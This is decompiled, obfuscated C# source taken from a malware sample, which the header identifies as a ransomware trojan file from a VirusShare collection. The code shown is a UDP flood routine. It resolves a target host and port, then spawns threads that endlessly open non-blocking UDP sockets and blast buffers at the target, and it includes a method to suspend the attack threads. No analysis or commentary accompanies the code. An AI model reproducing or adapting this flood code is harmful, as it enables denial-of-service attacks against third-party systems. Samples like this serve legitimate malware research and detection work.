// Decompiled with JetBrains decompiler // Type: A.ca2a3d5a1b8d431c404c11a5f27d5064a // Assembly: Sharl, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: F11368F2-49D5-4A01-9284-978C5FDD6F03 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.hejd-d602e69d871803e54a9edd4b87d241c904ab59014cfd496853fc6cc688c16570.exe using System.Net; using System.Net.Sockets; using System.Threading; namespace A { internal class ca2a3d5a1b8d431c404c11a5f27d5064a { private static ThreadStart[] c1aa5e7f9240b5cc21ac78813ddfbaa39; private static Thread[] c12e108ff6c83dbee08305cc2b0ce9998; public static string c966ab90271ad8729ab4aa4181c310abf; private static IPEndPoint cdd98f4a39e676344f91b06e9be54701b; public static ushort cf7dbbb0d9526e45865da4ee3fb9e1488; public static int cced20ebbb17c5b4c22dbd925be9f7bd0; private static ca2a3d5a1b8d431c404c11a5f27d5064a.ca94bf5d3d0eb8f635b7ee4989482d69d[] cc56b909ba2467b64852301c0ddafe66b; public static int c1e5fb6eadf8fa36fbb78b515080241e1; public static int ce1f122b7ea8865781912d724c92b0e28; public static void c1e47aee5510fe6af6ef6c306b4a8c34a() { try { ca2a3d5a1b8d431c404c11a5f27d5064a.cdd98f4a39e676344f91b06e9be54701b = new IPEndPoint(Dns.GetHostEntry(ca2a3d5a1b8d431c404c11a5f27d5064a.c966ab90271ad8729ab4aa4181c310abf).AddressList[0], (int) ca2a3d5a1b8d431c404c11a5f27d5064a.cf7dbbb0d9526e45865da4ee3fb9e1488); } catch { ca2a3d5a1b8d431c404c11a5f27d5064a.cdd98f4a39e676344f91b06e9be54701b = new IPEndPoint(IPAddress.Parse(ca2a3d5a1b8d431c404c11a5f27d5064a.c966ab90271ad8729ab4aa4181c310abf), (int) ca2a3d5a1b8d431c404c11a5f27d5064a.cf7dbbb0d9526e45865da4ee3fb9e1488); } ca2a3d5a1b8d431c404c11a5f27d5064a.c12e108ff6c83dbee08305cc2b0ce9998 = new Thread[ca2a3d5a1b8d431c404c11a5f27d5064a.c1e5fb6eadf8fa36fbb78b515080241e1]; ca2a3d5a1b8d431c404c11a5f27d5064a.c1aa5e7f9240b5cc21ac78813ddfbaa39 = new ThreadStart[ca2a3d5a1b8d431c404c11a5f27d5064a.c1e5fb6eadf8fa36fbb78b515080241e1]; ca2a3d5a1b8d431c404c11a5f27d5064a.cc56b909ba2467b64852301c0ddafe66b = new ca2a3d5a1b8d431c404c11a5f27d5064a.ca94bf5d3d0eb8f635b7ee4989482d69d[ca2a3d5a1b8d431c404c11a5f27d5064a.c1e5fb6eadf8fa36fbb78b515080241e1]; for (int index = 0; index < ca2a3d5a1b8d431c404c11a5f27d5064a.c1e5fb6eadf8fa36fbb78b515080241e1; ++index) { ca2a3d5a1b8d431c404c11a5f27d5064a.cc56b909ba2467b64852301c0ddafe66b[index] = new ca2a3d5a1b8d431c404c11a5f27d5064a.ca94bf5d3d0eb8f635b7ee4989482d69d(ca2a3d5a1b8d431c404c11a5f27d5064a.cdd98f4a39e676344f91b06e9be54701b, ca2a3d5a1b8d431c404c11a5f27d5064a.ce1f122b7ea8865781912d724c92b0e28, ca2a3d5a1b8d431c404c11a5f27d5064a.cced20ebbb17c5b4c22dbd925be9f7bd0); ca2a3d5a1b8d431c404c11a5f27d5064a.c1aa5e7f9240b5cc21ac78813ddfbaa39[index] = new ThreadStart(ca2a3d5a1b8d431c404c11a5f27d5064a.cc56b909ba2467b64852301c0ddafe66b[index].c254d67f0f5a5ab80dbe5de1d1b27a54e); ca2a3d5a1b8d431c404c11a5f27d5064a.c12e108ff6c83dbee08305cc2b0ce9998[index] = new Thread(ca2a3d5a1b8d431c404c11a5f27d5064a.c1aa5e7f9240b5cc21ac78813ddfbaa39[index]); ca2a3d5a1b8d431c404c11a5f27d5064a.c12e108ff6c83dbee08305cc2b0ce9998[index].Start(); } } public static void c4f970d2f71876e66d1daba6a51237e62() { for (int index = 0; index < ca2a3d5a1b8d431c404c11a5f27d5064a.c1e5fb6eadf8fa36fbb78b515080241e1; ++index) { try { ca2a3d5a1b8d431c404c11a5f27d5064a.c12e108ff6c83dbee08305cc2b0ce9998[index].Suspend(); } catch { } } } private class ca94bf5d3d0eb8f635b7ee4989482d69d { private IPEndPoint cdd98f4a39e676344f91b06e9be54701b; private int cced20ebbb17c5b4c22dbd925be9f7bd0; private Socket[] cd5ac2690507af44059caeb0c8b2a71f7; private int ce1f122b7ea8865781912d724c92b0e28; public ca94bf5d3d0eb8f635b7ee4989482d69d( IPEndPoint c8293ed1972789902aa5c44e762d830c9, int cb43681044880256f22aeddc96516b172, int cee8c5650a27830fc592eaa0c83f141af) { this.cdd98f4a39e676344f91b06e9be54701b = c8293ed1972789902aa5c44e762d830c9; this.ce1f122b7ea8865781912d724c92b0e28 = cb43681044880256f22aeddc96516b172; this.cced20ebbb17c5b4c22dbd925be9f7bd0 = cee8c5650a27830fc592eaa0c83f141af; } public void c254d67f0f5a5ab80dbe5de1d1b27a54e() { while (true) { byte[] buffer = new byte[this.cced20ebbb17c5b4c22dbd925be9f7bd0]; try { this.cd5ac2690507af44059caeb0c8b2a71f7 = new Socket[this.ce1f122b7ea8865781912d724c92b0e28]; for (int index = 0; index < this.ce1f122b7ea8865781912d724c92b0e28; ++index) { this.cd5ac2690507af44059caeb0c8b2a71f7[index] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); this.cd5ac2690507af44059caeb0c8b2a71f7[index].Blocking = false; this.cd5ac2690507af44059caeb0c8b2a71f7[index].SendTo(buffer, (EndPoint) this.cdd98f4a39e676344f91b06e9be54701b); } Thread.Sleep(100); for (int index = 0; index < this.ce1f122b7ea8865781912d724c92b0e28; ++index) { if (this.cd5ac2690507af44059caeb0c8b2a71f7[index].Connected) this.cd5ac2690507af44059caeb0c8b2a71f7[index].Disconnect(false); this.cd5ac2690507af44059caeb0c8b2a71f7[index].Close(); this.cd5ac2690507af44059caeb0c8b2a71f7[index] = (Socket) null; } this.cd5ac2690507af44059caeb0c8b2a71f7 = (Socket[]) null; } catch { for (int index = 0; index < this.ce1f122b7ea8865781912d724c92b0e28; ++index) { try { if (this.cd5ac2690507af44059caeb0c8b2a71f7[index].Connected) this.cd5ac2690507af44059caeb0c8b2a71f7[index].Disconnect(false); this.cd5ac2690507af44059caeb0c8b2a71f7[index].Close(); this.cd5ac2690507af44059caeb0c8b2a71f7[index] = (Socket) null; } catch { } } } } } } } }